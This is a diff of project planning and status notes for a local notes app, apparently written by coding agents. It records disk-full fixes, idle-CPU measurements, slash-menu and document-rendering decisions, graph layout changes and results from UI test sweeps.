+      50 branches / 419 lines), `analyse_attachment` (routes_files.py:381,
+      43 / 167), `search` (search/engine.py:645, 41 / 139),
+      `_optimization_pass` (autonomous.py:268, 40 / 250), `_run_skill`
+      (skill_runner.py:1206, 36 / 300). Not refactored here on purpose: this
+      PR is about to merge and restructuring a 419-line agent step is not a
+      thing to do on the way out of one.
+    **Next:** `_run_one_step` (`ai/skill_runner.py`) is the one worth a spec: split it at its four outcomes (done, failed, parked, retried) with `tests/test_skill_runner*.py` pinning each before the move; the harness agent's file (WORLD_CLASS_PLAN B5), so it waits for that agent's merge.
+    A fifth pass, silent exception handlers, was run and is not reported as
+    a finding: 251 handlers return a fallback without logging, and in an app
+    whose whole design is "degrade to offline" that is the intended shape,
+    not a smell. The heuristic could not separate the two, so it is written
+    down here rather than left as a number somebody later mistakes for a
+    defect count.

+    in an sqlite database the best way to store notes etc. are things running
+    when they arent necessary and taking up extra compute?? things like
+    containers are spun up as needed like serverless cloud architecture"
+    Open. Seven asks, and most are analysis rather than a fix: (1) the
+    usability and IA gaps that cost trust, (2) a `.tar.gz` for Linux, (3) an
+    `.msi` for Windows, (4) version, platform and architecture in every
+    installer's name, (5) lightweight, (6) what the app does when the disk
+    fills, (7) an architecture review with SQLite and idle compute named
+    specifically.
+    **(6) done 2026-09-21**, measured on a real full filesystem: an 80 MB
+    tmpfs mounted as the data dir and filled to 100%, the app driven against
+    it. Already right: saving answered 507 with a sentence about disk space,
+    and reading, searching and exporting kept working throughout. Three
+    things were not. **Unlocking answered 507**, so a full disk locked the
+    person out of their own notebook entirely, over the audit row written
+    beside it. **A failed backup left a zero-byte file named like a backup**,
+    which listed as one, passed `PRAGMA integrity_check` (an empty file is a
+    valid empty database) and would have replaced the whole notebook with
+    nothing if restored: a full disk turning into total loss through the
+    app's own restore button. **A failed upload or export left its
+    half-written file behind**, orphaned, holding the space the person was
+    short of. All three fixed, plus one ASGI `SpaceGuard` that refuses a
+    write bigger than the room left before a byte of it is read, so the app
+    can no longer fill the last megabyte and lock itself out. After, on the
+    same full tmpfs: unlock 200, reads 200, save 507 naming the folder and
+    `0 bytes free`, a 1 MB upload refused up front asking for 3.0 MB, backup
+    507 with nothing left behind, every write working again the moment space
+    was freed. The 507's sentence now reaches every toast in the app and
+    Settings, Data carries a `.notice notice-warn` line when space is low
+    (`scratchpad/ui-sweeps/diskspace.js`, PASS in both themes).
+    **(7) done 2026-09-21**, both halves. *Idle compute*: with no browser
+    attached the server is asleep, 0.04s of CPU across 23 threads in 30
+    seconds (0.13% of one core), because every background piece blocks
+    rather than polls. The cost is the open tab: two HH:MM clocks ticking
+    once a second and a model-status poll asking twice a minute for ever.
+    The clocks are scheduled on the wall-clock minute now and the poll
+    doubles to a two-minute ceiling while the answer does not change,
+    dropping back to 30s on any change, on returning to the tab, on opening
+    Settings or on starting a job. Measured with `idle.js` (which now counts
+    timer *fires*, not only live intervals) and the new `idlecpu.js`: **timer
+    wakes in an idle visible minute 124 to 5, requests 4 to 2, idle CPU
+    6.01%/6.11% of one core to 5.50%/5.59%.** Found, not fixed, and a
+    decision for the owner rather than an agent: nearly all of what is left
+    is the Dashboard's emblem animating at 24fps because it was asked to,
+    which the same probe prices at 5.55% on the Dashboard against 2.09%
+    parked on Notes. *SQLite*: the answer is written down as a decision in
+    `docs/ARCHITECTURE.md` ("Why SQLite holds the notes"), with its reasons,
+    its numbers and where it would stop being right, so it does not have to
+    be argued a fourth time. No migration started, and the serverless
+    question is answered in a paragraph there rather than left hanging.
+    **(1) done 2026-09-23**, the usability and IA read against the owner's
+    "3 clicks to anything" (INBOX 270): 22 primary tasks driven from a fresh
+    dashboard by `scratchpad/ui-sweeps/clicks.js`, 21 within three clicks and
+    restoring from the bin at four on purpose (the table is in
+    `archive/agent-remaining/guideia.md`). Four trust breakers it found, all fixed:
+    both dashboard "Ask" doors opened a disabled Chat box when no model was
+    running (now Notes, Ask, which answers without one); the Chat tab never
+    said why its box was grey (now the same Connect-a-model line as Ask, the
+    agent and the writing desk); a new notebook's Library said "Nothing of
+    this kind yet" because the activity log counted as things made (now a
+    sentence and a Create button); Create offered no board and no upload
+    (now seven rows).
+    Checked, not built here (packaging is another agent's): (2) the
+    `.tar.gz` ships (`release.yml`, `MemoryMap-AI-<v>-linux-x86_64.tar.gz`);
+    (3) the `.msi` steps exist but are `if: false`, so no MSI ships; (4)
+    every installer name carries version, platform and arch
+    (`installer.iss`: `MemoryMap-AI-Setup-<v>-windows-x86_64`). Still open on
+    this entry: (3) and (5).
+    **Checked 2026-09-23.** (2) built: `release.yml` ships
+    `MemoryMap-AI-<version>-linux-x86_64.tar.gz` beside the zip. (3) built and
+    then switched off (`b7b15c7`, WiX v7's fee terms; see 271, resolved). (4)
+    built: every artifact name carries version, platform and architecture
+    (`MemoryMap-AI-Setup-<version>-windows-x86_64` in `installer.iss`, the
+    MSI and both Linux archives in `release.yml`). Left: (1), the usability
+    and information-architecture read, and (5), lightweight, whose decided
+    shape is lazy imports (268).
+    **(5) measured 2026-09-23**, and the lazy-import work is already done
+    where it pays. `python -X importtime` over `create_app()`
+    (`scratchpad/oi_importtime.py` reads the output): the process imports
+    fastapi (402ms), SQLAlchemy (172ms), alembic (129ms) and requests (49ms)
+    and nothing heavier; numpy, torch, Pillow, pypdf and python-docx are not
+    in `sys.modules` after `create_app`, and peak RSS is 104MB. What makes a
+    running server large is the built-in embedding model: 774MB resident on
+    a notebook with notes, once `start_warmup` has loaded
+    sentence-transformers, and it already waits for the first page, for an
+    idle moment and for the notebook to have a note at all. The one lever
+    left is which backend embeds, a Settings choice that exists: Ollama's
+    `nomic-embed-text` keeps the model out of this process, and the search
+    engine's '?' on Settings, Models now says so with the number. So (5) is
+    answered; (1) is the one part of this entry left.
+    **Status 2026-10-05: all seven asks are answered** ((1) done 2026-09-23 above; (3) the MSI is `if: false` on purpose, INBOX 271 and `b7b15c7`, so nothing is left to build here).

+    is a correction computed from a box read mid-move: `tourPlaceFixed` wrote
+    a position, read the element straight back and added the difference, so
+    anything that makes the box lag its style doubles the move. Replaced: the
+    frame's origin is read from `#tour-origin`, a 0x0 fixed probe nothing
+    moves, and the element is read back once a frame later and nudged only if
+    it is still elsewhere (with a `Tour:` log line when it is). Headless
+    walks of all 15 steps at 1.25x scale, with and without real scrollbars,

+## 20. The 2026-10-05 feature audit: decisions
+
+From `scratchpad/audit1005/features.md` (FEAT-03, FEAT-04, FEAT-08, the
+documents briefs D1 to D5). Every brief is built: D3 and D4 (decisions 6
+and 7), D5's handles (decision 8) and its pictures in the Word export
+(FEAT-18, on the existing `docx` extra). The record is in HISTORY.md ("Moved
+from the plans, 2026-10-05 (the feature audit's documents and map fixes)");
+checked at head 2026-10-05 (op3-1005): `mermaidFlowParse`, the print dialog's
+`CSSMarginRule` test and `docImageAltWith` in documents.js. Nothing here is
+open; the decisions stay.
 
-The owner, INBOX 295: "I want you to MAJORLY rework and improve the slash
-commands in the notes and documents, I want them to be properly structured
-elements ... proper objects, they need to make the user's live really easy
-and also they need to be discoverable by the user as well."
-
-**Read the code before believing the brief.** "Not properly structured" is
-not what is there. `EDITOR_SURFACES` in `frontend/editor.js` is an
-id-to-context table, and each context has its own command list whose rows
-carry an id, a group, a label, a hint, search keywords, a `primary` flag and
-a `run`. That is a reasonable object already, and the documents side has a
-second one, `DOC_COMMANDS` in `frontend/documents.js`, 34 rows of id, icon,
-label, chord and `run`, bracketed by markers so `tests/test_doc_commands.py`
-can read its shape without a browser. So this section is not a rewrite of a
-mess. It is the work of making two good tables into one system, and of
-telling anybody that the feature exists.
+**Decisions made.**
 
-**Measured on the branch head, 2026-09-21:**
+1. **Footnotes are drawn by the shared renderer, not by each view**
+   (FEAT-03). `mdFootnotePrepare` in markdown.js is pure (node-tested) and
+   `mdFootnotesFinish` draws the raised numbers and the notes at the foot;
+   a document runs the pass over the whole text before it is cut into
+   pieces. Numbered in citing order; an uncited note is still printed, last.
+   The back link is the word "Back", not an icon, because an icon is
+   stripped from the HTML export.
+2. **Rich paste is an allowlist walker, no library** (FEAT-04). HTML goes
+   through `DOMParser` (`style` renamed first, which the CSP would refuse)
+   and only headings, emphasis, strike, links with http, https, mailto or
+   app paths, lists, quotes, code, pictures and tables become Markdown.
+   It takes a paste only when the HTML carries one of those, so a code
+   editor's coloured copy stays plain. Ctrl+Shift+V is plain text.
+3. **Mermaid fences stay code blocks** (FEAT-08). No Mermaid is vendored
+   (the fully-local rule: nothing that is not already in `frontend/vendor/`),
+   so a ` ```mermaid ` fence renders as code with its language label;
+   BACKLOG 29c's "already renders" is corrected. A flowchart-subset parser
+   (the audit's D3) is the way in if it is built, not a vendored bundle.
+4. **A hidden formatting toolbar always shows its way back** (INBOX 574,
+   2026-10-05): the dock's Formatting button while it is hidden (not on a
+   phone, which formats from the thumb bar), Ctrl+Shift+X, the ⋯ row and
+   the palette row, and one toast the first time it is hidden.
+5. **A page break is `\newpage` on its own line** (2026-10-05, the audit's
+   D4, first part): the Pandoc and LaTeX spelling, so a document leaves
+   for any Markdown-to-PDF tool with its breaks intact. A labelled dashed
+   line on screen, the break itself in a print and in the HTML export, the
+   "/" menu's Page break in a document (not in a note, which is not
+   printed as pages). Page size, margins and page numbers are decision 7.
+6. **A flowchart fence draws as one, by a parser of our own** (2026-10-05,
+   the audit's D3, inside decision 3's terms). `mermaidFlowParse`,
+   `mermaidFlowLayout` and `mermaidFlowSvgTree` (documents.js, the
+   `DOC-MERMAID` region, node-tested): `flowchart` or `graph` in any of the
+   four directions, seven node shapes, six link kinds with labels, chains and
+   `&` fans, comments, and the styling lines read and ignored. Laid out in
+   layers (longest-path ranks with each cycle's return reversed, barycentre
+   ordering, each layer centred), a line that would lie on another (a
+   return, a second link between one pair, one that skips a rank) bowed
+   aside. Drawn in Read (so in a print and the HTML export), and in Live
+   while the caret is outside the fence (a state field, the columns block's
+   reason); pressing the figure opens its text. Anything else, a subgraph
+   and every other diagram type included, stays the code it is, so nothing
+   is drawn half right. Text is text (`createElementNS`, `textContent`).
+   Not drawn in a note (notes render through markdown.js at boot, and the
+   parser stays out of the boot scripts); "Open as a board" is the
+   whiteboard's W5.
+7. **The printed page is chosen in one step before the browser's dialog**
+   (2026-10-05, the audit's D4). Print or save as PDF opens a small dialog:
+   page size (A4 or Letter; Letter first where the locale is US or Canada),
+   orientation, margins (narrow 12mm, normal 20mm, wide 28mm) and a switch
+   for the page number ("n / N" at the foot) with the title at the head,
+   remembered on this computer; a plain Ctrl+P prints on the last choice.
+   Written as a constructed stylesheet (the CSP refuses a `<style>`), the
+   number and title as CSS page-margin boxes, which Chromium draws from 131
+   (the desktop window is Chromium); where `CSSMarginRule` is missing the
+   switch is off and says the print dialog's own headers can do it. Found
+   on the way: the print rule hid every child of `<body>` but the documents
+   page, and the page has sat inside `<main id="app-main">` since the shell
+   moved, so a print was one blank page; the main is kept now and the
+   shell's window-high boxes let go.
+8. **A picture is resized and aligned where it is shown** (2026-10-05, the
+   audit's D5). In Live, a picture (not one under its revealed source) sits
+   in a frame with DESIGN.md's grip on its lower right corner and an align
+   button at its top right, both shown on hover and on focus (always on a
+   touch screen, the grip at 24px). A drag sets the width between 40px and
+   the text column; the grip is a slider to the keys (the arrows 10px, Shift
+   50px, Home and End the bounds, Delete back to the picture's own size);
+   the align menu is Left, Centre, Right and Inline. Both write the options
+   into the alt text (`docImageAltWith`: the name, then the width, then the
+   alignment, then the caption's words), one Undo step each, so Read, a print
+   and every export draw the same picture.
+9. **A narrow sidebar puts its tab strip under the collapse toggle**
+   (2026-10-05, audit FE-19). "Documents" and "Outline" need 182px and the
+   toggle's lane 46px; at 1024 the sidebar is 192px, and "Outline" ran 7px
+   under the toggle. Below a 14rem content box (a 256px sidebar) the strip
+   starts one toggle-height down, full width, with `--space-2` of side room
+   per tab instead of `--space-5` (a container query on `#doc-sidebar`).
+   Not chosen: a wider sidebar at 1024 (the editor's width is the page),
+   shorter labels (the strip's words are its only labels). Measured by
+   `scratchpad/ui-sweeps/perf2-1005-docside.js`: fits, nothing under the
+   toggle, at 1024, 1440 and 390, light and dark.
 
-| What | Reading |
-| --- | --- |
-| Contexts with their own commands | note, document, chat, skill |
-| Command groups declared in editor.js | 45 |
-| Labels written as emoji | 38 |
-| Labels written as the app's icon tokens | 10 |
-| Separate command tables | 2, editor.js's per-context lists and documents.js's `DOC_COMMANDS` |
-| Discoverability affordance | none found: the menu exists only once "/" is typed |
-
-The emoji count is the finding. This app ships a vendored icon set and names
-icons as `ph:` tokens everywhere else, and `tests/test_no_glyph_icons.py`
-exists precisely to keep typed characters out of the interface. The slash
-menus are where that rule was never applied: 38 rows against 10. A menu that
-draws its own icons in a different alphabet from every other menu is exactly
-the "not proper objects" the owner is reacting to, even though the data
-behind it is fine.
+## 18. The slash menus as one system: built 2026-09-21
 
-**Decisions made.**
+Moved to HISTORY.md ("Moved from the plans, 2026-10-03 (the documents pass)", DOCUMENTS_PLAN.md section 18) on
+2026-10-03: a plan holds open work only. The one thing still open is below.
 
-1. One table shape for every context, and the row is the object: id, icon as
-   a `ph:` token, label, hint, keywords, group, `primary`, chord, `run`. The
-   document table and the editor tables meet at that shape rather than one
-   absorbing the other, because they are reached differently and always will
-   be.
-2. Icons come from the vendored set. No emoji in a command row, held by
-   extending `tests/test_no_glyph_icons.py` to cover the command tables, so
-   the next row added cannot reintroduce them.
-3. A command is discoverable three ways or it is not discoverable: the hint
-   on the surface, the menu itself, and search by keyword rather than by the
-   app's internal vocabulary. The keywords field already exists and is
-   already used for the second of those.
-4. The affordance is shown, not documented. Whatever says "/" is available
-   appears on an empty surface and gets out of the way once there is text,
-   rather than being a line in a help panel nobody opens.
-5. Nothing is added to the chrome, per section 17's rule, and any new recipe
-   arrives with its lint in the same commit (standing order 11).
-
-**Phases, each with its gate.**
-
-- ~~**18a. One row shape.**~~ **Built 2026-09-21**, and the difference
-  between the two shapes turned out not to be cosmetic. `DOC_COMMANDS` kept
-  its icon in an `icon` field; editor.js's four lists packed theirs into the
-  front of `label`, as a string the row builder printed whole. Two
-  consequences, both fixed by the split:
-
-  * it is *why* the eight callout commands reached for emoji. The row builder
-    used `textContent`, so a `ph:` token in a label would have printed as the
-    literal text "ph:note Note box"; an emoji was the only mark that could go
-    there at all.
-  * it quietly broke the menu's own ranking. `editorRankCommands` scores
-    `label.startsWith(query)` first, and no label started with a letter, so
-    that branch could never fire: typing the first word of a command ranked
-    it no better than a keyword hit.
-
-  39 rows split (38 plain, one template literal), the icon joined to the
-  label at render rather than stored joined, so a row can be read for its
-  icon without parsing its label. `tests/test_command_row_shape.py` reads
-  both tables from source with no browser and asserts every row carries an
-  `icon`, that no `label` opens with a token, and that no `label` opens with
-  a character outside ASCII (the shape check that backs
-  `test_no_glyph_icons.py`'s named-character one). Two of its three fail
-  against the code before the split.
-- ~~**18b. The icons.**~~ **Built 2026-09-21, and it found the menu did not
-  open at all.** The 38 are `ph:` tokens; the menu row builds its label
-  through `setLabel` like every other menu in the app, which it did not
-  before and which is why a token could not be written in one; the rendered
-  callout heads with an `<i class="ph">`, since `CALLOUT_KINDS` is read by
-  the renderer as well as by the menu. The Library's create table, the chat
-  attachment close, a note embed's marker and two graph arrows went with
-  them. `tests/test_no_glyph_icons.py` now decodes `\uXXXX` and `\u{...}`
-  before looking, which is the hole the 38 sat in: they were escapes, so a
-  lint reading the source text of the literal saw backslashes.
-  `scratchpad/ui-sweeps/slashicons.js` is the probe, in the gate: 14 rows, 0
-  printing a literal token, 14 of 14 carrying an icon element (4 of 14
-  before), 0 opening with a character outside ASCII.
-
-  **The finding that matters more than the icons.** Opening the menu to
-  count its rows is how this was found: 0 rows. `editorSurfaceFor` needs
-  `asSurface`, which documents.js defines, and documents.js is in the
-  Library's lazy bundle, so on every fresh load the "/" menu did nothing in
-  the note capture box, the note edit box, the chat composer and the skill
-  steps box until the person happened to open Library or Documents. Four of
-  the five surfaces. The guard that hid it said the case "cannot happen in
-  the browser (the script order is fixed)"; the script order had stopped
-  being fixed under it. Fixed by warming the bundle when an editing surface
-  takes focus and replaying the keystroke that arrived first, and held by
-  `tests/test_lazy_bundle_calls.py`, which accounts for every call a
-  boot-loaded file makes into a lazy bundle.
-
-  **The rule this leaves behind, which is the point of writing it down:** a
-  `typeof x === "function"` guard around a feature is not a safety net, it is
-  a silent off switch. A bare call would have thrown on the first press and
-  been fixed that day.
-- ~~**18c. Discoverability.**~~ **Built 2026-09-21.** Three ways, which is
-  what decision 3 asks for and what the surface had one of:
-
-  1. **The placeholder**, on every surface in `EDITOR_SURFACES`: "Press / for
-     blocks and commands." Applied from editor.js rather than written into
-     the markup, because one of the four (`entry-edit-content`) is built in
-     JS every time a note is opened, and three boxes that say it beside one
-     that does not teaches that the feature is per-box. Measured: 4 of 4
-     hinted, and the engine carries it through to `aria-placeholder` when it
-     is mounted over the composer.
-  2. **Ctrl+/**, through `DEFAULT_SHORTCUTS` and `runShortcut` (app.js), not
-     through a listener of editor.js's own. That makes it rebindable like
-     every other chord and, more to the point, puts it in the shortcuts cheat
-     sheet, which is where somebody looks for what an app can do. A second
-     listener would also have fired alongside app.js's chorded dispatcher and
-     inserted two slashes.
-  3. The menu itself, which is what 18a and 18b were about.
-
-  **Decision taken, recorded rather than remade** (standing order 3): 18c's
-  gate asked for a "visible route", and decision 5 forbids adding to the
-  chrome. The note toolbar already carries twelve controls; a thirteenth
-  teaches nothing and costs the one thing section 17 is protecting. So the
-  visible thing is the placeholder, which is copy rather than chrome and is
-  on screen at exactly the moment it is useful and gone the moment it is not,
-  and the route it names is a chord that the cheat sheet also lists.
-
-  The chord writes a real "/" into the text rather than faking the menu open:
-  the menu filters on what follows the slash and closes when it is deleted,
-  so both routes have to leave the surface in the same state or Escape and
-  Backspace would behave differently depending on how it was opened.
-
-  `scratchpad/ui-sweeps/slashicons.js` covers all of it: 4 of 4 surfaces
-  hinted, the menu open with 14 rows from the chord alone, and
-  `shortcuts.editorMenu` present so the cheat sheet lists it.
-- **18d. The menu itself.** Grouping, ordering, the `primary` flag's meaning,
-  what happens on no match, and keyboard behaviour end to end. Gate: arrow
-  keys move through the rows, Escape closes and returns focus to the surface,
-  a no-match state says so rather than showing an empty box, and every
-  context is measured at 1440 and 390.
-
-**Not verified.** None of the above is measured on a phone yet, and the chat
-context's commands press controls in the chat dock, so a change there has to
-be measured against that dock rather than assumed. The note context's own
-list was not read row by row for this section; 18a is where that happens.
+**Measured on a phone, 2026-10-04** (`docphonebar.js`, 390x844, light and
+dark): the document's "/" menu, opened from the foot bar, is 354x386 inside the
+window and above the bar, 56 rows at 45px, 8 on screen. 18a (one row shape)
+is built, HISTORY.md. **Not verified:** the chat context's commands press
+controls in the chat dock, so a change there has to be measured against that
+dock rather than assumed.

-| Claim | What is actually there |
-| --- | --- |
-| A note cannot hold a board | A note's typed objects are markdown constructs, and `mdEmbedElement` (app.js) is the single renderer for `![[name]]` behind both `renderNoteText` (note cards) and `renderMarkdown` (documents and chat). `resolveWikiTarget` has resolved a board since the map chips were built, and `renderNoteInline` already drew an inline `mapChip` for `[[My map]]`. What `mdEmbedElement` did with a board was fall through to "Nothing called House jobs yet", measured on 8793 before the change: the embed of a live board claimed it did not exist |
-| There is no preview to reuse | `mapPreview(board, {size})` is the one miniature renderer (MINDMAP_PLAN §5 item 12), fed by `preview_items` from `/whiteboard/boards` through `loadMapBoardIndex` |
-| "A reminder row has no column naming the note it came from" | It has had one since reminders existed: `Reminder.entry_id`, with `entry_preview` on every reminder read, a chip on the reminder row that opens the note, `entry_id` on `POST /reminders`, `note_id` on the `set_reminder` tool, and the note card's own "Remind me" passing `entry.id`. **No migration was needed and none was written.** What was missing was the other direction: no way to ask for one note's reminders, and nothing on the note |
-
-**Built.**
-
-- `![[board:12|House jobs]]` (and `map:`) renders a preview card: the kind,
-  the board's own miniature from `mapPreview`, its title and `mapCountLabel`,
-  the whole card a `<button>` that opens the board. A plain `![[House jobs]]`
-  that happens to name a board renders the same card, which is the bug above
-  fixed in the same place.
-- Both doorways the brief asked for: the "/" menu's "Board or mind map" in
-  Links and references, and "Add to a note" on the board itself (the Board
-  menu's `#wb-add-to-note`, and the Library card's kebab). Both write through
-  `boardEmbedMarkdown`, and the board side appends through
-  `appendSelectionToNote`, so there is one spelling and one undo.
-- `GET /reminders?entry_id=` and `GET /reminders/counts?ids=`, then a
-  `2 reminders` chip on the note card that opens a panel listing them, each
-  pressing through to `flashReminder`.
-
-**Decisions made** (standing order 3: each was missing, each got a one-line
-recommendation, each was taken).
-
-1. **A board object is addressed by id, with its title carried beside it**
-   (`![[board:12|House jobs]]`), not by title alone like every other wiki
-   link. A title-addressed object breaks silently on a rename, and worse, a
-   renamed board and a deleted one look identical to the resolver. The title
-   travels anyway because it is what the tombstone says, and because
-   `_reference_rows` in routes_entries.py finds a board's references with a
-   LIKE over note content for its label, so the card's "on 1 board" chip
-   keeps working with no backend change.
-2. **A deleted board leaves a tombstone**, `.board-embed-gone` naming what
-   was there, rather than the object vanishing. Content that disappears
-   silently teaches the reader the note was always like that.
-   **And a miss is not a tombstone until the index has been refreshed once**:
-   `loadMapBoardIndex(true)`, because a board made a minute ago is missing
-   from an index built before it existed, and "this board is no longer in
-   your notebook" over a board somebody just made is the worst thing this
-   card could say.
-3. **The slash command is "Board or mind map"**, in Links and references,
-   `primary` so it is in the shortlist with nothing typed. Named for the two
-   things it inserts, in the app's own words for them.
-4. **A note's reminders are a chip on the facts line, not a section.** The
-   card is a title, a body and one line of facts; a block under every note
-   with a reminder would push the next note off the screen for a fact that is
-   usually four words long. The chip opens the same `.entry-links` panel
-   "Referenced by" and "Similar notes" use, which is also what keeps one
-   panel open per card.
-5. **The board picker is `pickLibraryItemDialog`'s fifth source, opt in.**
-   A fifth chooser for a fifth kind is the failure this app already has a
-   rule against. It is opt in because that dialog's first caller feeds a map
-   reference node, and `MAP_REFERENCE_KINDS` has no board in it: a board
-   offered there would be a row that cannot be saved.
-
-**Not done, and deliberately.** No backfill of `Reminder.entry_id` for
-reminders made before the link was drawn: there is nothing to backfill from.
-A reminder written by hand in the Reminders tab never named a note, and
-guessing one from the text would invent a link the person did not make.

+1440x900, and on a 300-note fixture whose links ignore categories:
+
+- **The category gather scales with how category-shaped the links are**
+  (`groupCohesion`, graph-worker.js): the share of non-similarity links joining
+  two notes of one category. At 0.6 or more the pull is 0.05 and the ring 28
+  per root of the count (the nearest-four colour purity rose 0.56 to 0.84); at
+  0.2 or less it is the old 0.025 and 22. A flat 0.05 doubled the 300-note
+  fixture's crossings, so it is not flat.
+- **Unlinked notes have seats** on a ring that follows the cluster's outline
+  (36 angle bins, smoothed by the widest neighbour), each category's on the arc
+  facing its own place, evenly spaced, a second ring when an arc is full. Gap to
+  the nearest linked note, in the cluster's own median spacings: 3.0 to 1.8.
+- **Links wear a category.** Same colour at both ends takes that colour;
+  a bridge stays neutral; a reasoned link is 1.9px at 0.62; curved by default
+  (a note that never touched the switch is on). Tapered strokes were not built:
+  a taper is one polygon per link, and the batched stroke per colour is what
+  keeps a 2,000-link map inside a frame.

+`graphlabels.js` (417 notes):
+
+- **A name stands on a plate**: its box in the card's colour at 0.88, 4px
+  corners, in place of the 3px card stroke around each glyph, which left a
+  line under a name showing between its letters.
+- **Placement knows the lines**: eight places (under, above, beside, the four
+  corners); the first free of labels, dots and lines wins, else the one
+  crossing the fewest. Label-line crossings 43 to 28, names on a line 14 of

+## Decision made, 2026-10-04: a Display fold

+The owner asked for Label backgrounds as a switch, and 514 adds Arrows and two
+display sliders; the Show grid could not take them (the panel already scrolled
+closed, 632px in 492 at 1440x900). Decided: **how the map is drawn is a fourth
+fold, Display**, on the 2026-09-20 rule (set once, then left): Labels, Label
+backgrounds, Curved links, Cluster glow, then 514's Arrows, Text fade and Link
+thickness; Length by similarity and Group by category move to Physics (they are
+forces) beside Link force, so Show stays four rows. Off, Label backgrounds draws each name
+on the old 3px card-coloured outline; the placement keeps it clear of lines
+either way (`scratchpad/ui-sweeps/graphplates.js`: 19 plates on, 19 outlines
+off, off kept after a reload).
+
+## Decision made, 2026-10-04: a Filter fold
+
+KG8 asks for filter chips by kind of link and by property. Decided: **a fifth
+fold, Filter**, after Display, on the same rule (set, then left): a row of
+chips per kind of link on the map and a row per property value, built from
+what is on the map, so the closed panel grows by one summary row and the
+chips never cost the Show grid a row.
+
+## Decision made, 2026-10-05: one PageRank, the map's
+
+`/graph` and `/graph/local` shared one cache slot ("centrality", keyed by the
+notebook and the similarity switch) while ranking two different graphs: the
+map leaves drafts out, and boards unless Maps is on; focus mode indexed every
+live note. Whichever call came first was served to the other (a note's size in
+focus mode depended on which view had been opened since the last edit), and
+Maps on was served the no-maps ranking. The similarity sweep's slot had the
+same shape. Decided: **a note's centrality is the map's** (live, non-draft
+notes; boards only with Maps on), one slot per (similarity, maps), built from
+columns by `_centrality` itself and never from a caller's index; focus mode
+shows the map's number, not a PageRank of its own neighbourhood, because
+centrality is a global property and a local one would make every focus
+view's centre its biggest dot. One similarity sweep per version, over the
+map's notes, each caller keeping the pairs inside its own set.

+rows instead of 15,000 ORM objects (the space is in the fingerprint now too).

+**Decisions made (recommendations taken):** a suggestion never links by

+  notebook, 0 findings on all seven tabs; at 390x844, 390x700, 360x640 and
+  430x932 every one of the four zoom-strip buttons is what `elementFromPoint`
+  returns at its centre (44x44 each). INBOX 430's lift of the strip above the
+  New note (`#tab-graph:has(.dock-fab) .graph-zoom`) closed it. `graphphone.js`
+  now asserts it every run: the four buttons are hit at their centres and clear
+  of `.dock-fab`.
+- **The tour on a fresh data dir, and at widths 600 to 1100**: run, and it had a
+  fault between 641 and 819. `tour.js` at 700x900 failed twice ("the count's total
+  never changes and is the cards shown", 5 planned, 2 shown) because the Settings
+  steps said the section strip shows from 640.02px and the picker (`.settings-jump`)
+  at 640 and below, while the CSS hides the strip and shows the picker below 820
+  (measured: strip hidden and picker 300x44 at 700, strip 212x32 from 820). So from
+  641 to 819 three strip steps were planned and not shown, and the picker step was
+  left out. The four `media` values in `tour.js` are 820 now (`(min-width: 820px)`
+  for Appearance, Models and Help, `(max-width: 819.98px)` for "Every section").
+  After: `tour.js` (FULL=0, nothing else running) 87 of 87 steps at 600x900, 640x900,
+  700x900 and 760x1000, 95 of 95 at 820x1180 and 1024x768, 99 of 99 at 1100x800, all
+  checks passed. A fresh data dir (a server on an empty directory: no notes, boards
+  or maps) at 1440x900, 390x844 and 700x900: 245 of 245 steps; the notebook-shaped
+  cards drop and the counts follow (Library 4 of 5 with no card to open a menu on,
+  Maps one card that says there is no map, at 390 the status section 0 of 4 because
+  the phone bar is folded away). One caveat found on the way: another sweep that
+  makes a board or a note while a tour walk runs fails "the tours made nothing", so
+  the walks were run alone. `tests/test_tour_follow.py` pins the 820.
+- **`gate.sh --sweeps` named fifteen sweeps that do not exist** (found with the
+  `--staged` row): `requests`, `previewclash`, `wbfitanchor`, `helpstream`,
+  `writingroom`, `dashdensity`, `timelinetablewidth`, `tourtile`, `findinghover`,
+  `dochighlight`, `spinnershape`, `featuremodels`, `btnrows`, `answersupport` and
+  `listenerrounds`: the sweep cleanup (2dbd6c7) deleted the files and left the names,
+  so each was a step that could only fail. Removed from the list, and
+  `tests/test_gate_lint_set.py` now fails when a name has no file. (`--changed` and
+  `--staged` were never affected.)
+- **Board sweeps that only press the Library tab time out**: reproduced
+  (`bm1005-segstate.js` and `bm1005-nodetasks.js` both died on a 15s `waitForFunction`).
+  The Library reopens on its last sub-tab (mirrored to the server, so a fresh context
+  inherits another sweep's), the board code is a lazy bundle the Boards sub-tab fetches,
+  and those two also waited for `wbFormatSyncSoon`, which the board no longer loads at
+  open. `lib.js` gains `openBoardsTab(page, fns)` (presses the Library, then presses
+  Boards & maps again inside the wait until it is the active sub-tab and the named
+  functions exist, so a restore that undoes an early press cannot strand it) and
+  `waitForBoardOpen(page)` (the top bar and the canvas laid out and their objects drawn,
+  in place of a 1.2 to 2.5s sleep). Applied to the seven sweeps that reached a board
+  from a bare Library press or a fixed sleep: `bm1005-segstate.js`,
+  `bm1005-nodetasks.js`, `wbcardeditor.js`, `wbtouchpan.js`, `libtab.js`,
+  `phonechrome.js` (its board step) and `barinv479.js`. Run: segstate and the
+  touch probe pass (the touch probe also made its board with `title`, which the route
+  answers 422 to; it sends `name`), the card editor and phonechrome pass, `libtab.js`
+  runs through (its "board" case finds no board listed, as it did). The fifty-odd
+  sweeps that already press the sub-tab keep their own sleeps; they are not wrong, only
+  slower, and `openBoardsTab` is what a new one should call.
+- **Skeletons for the whiteboard rail's Library and Notes tabs (INBOX 596)**: already
+  built, and both halves are now measured (the Notes half had only been read, "the boot
+  loads the notebook before a board can open"). `wbLoadLibrary` draws 6 skeletons into an
+  empty list, `renderWbLibrary` draws 5 before the notebook's first page and re-renders
+  when it lands. `bm1005-sidebar.js` check (7) holds the library index back 1.5s, and
+  the new (7b) puts the board back in the unloaded state (`entriesEverLoaded` false) and
+  holds `/entries`: at 300ms 6 and 5 skeletons, 51px each, `aria-busy`; after, 51 tiles
+  and 264 notes with 0 skeletons left, at 1440 and 390, light and dark, 0 page errors.
+  `tests/test_board_sidebar_596.py` is the source pin. Nothing to add.
+- **The OCR workspace head could not be measured**: it can, and it had the fault.
+  `wbtopbar.js` seeds the scan itself now (a page of text drawn in a second browser
+  context, uploaded as the app uploads, opened with `openOcrWorkspace`; the head
+  opens without Tesseract, its engine line saying it cannot read yet) and measures
+  `.ocr-toolbar` at 1440 and as a phone at 390: 6 controls, one centre line (spread
+  0px), 32px each at 1440 (bar 1340x36). At 390 the zoom track was 32px tall around
+  44px segments: `.ocr-head .seg` is `height: var(--control-h)`, and the touch rule
+  that lifts the segments to `--target-min` (`.sheet-card-page .ocr-toolbar
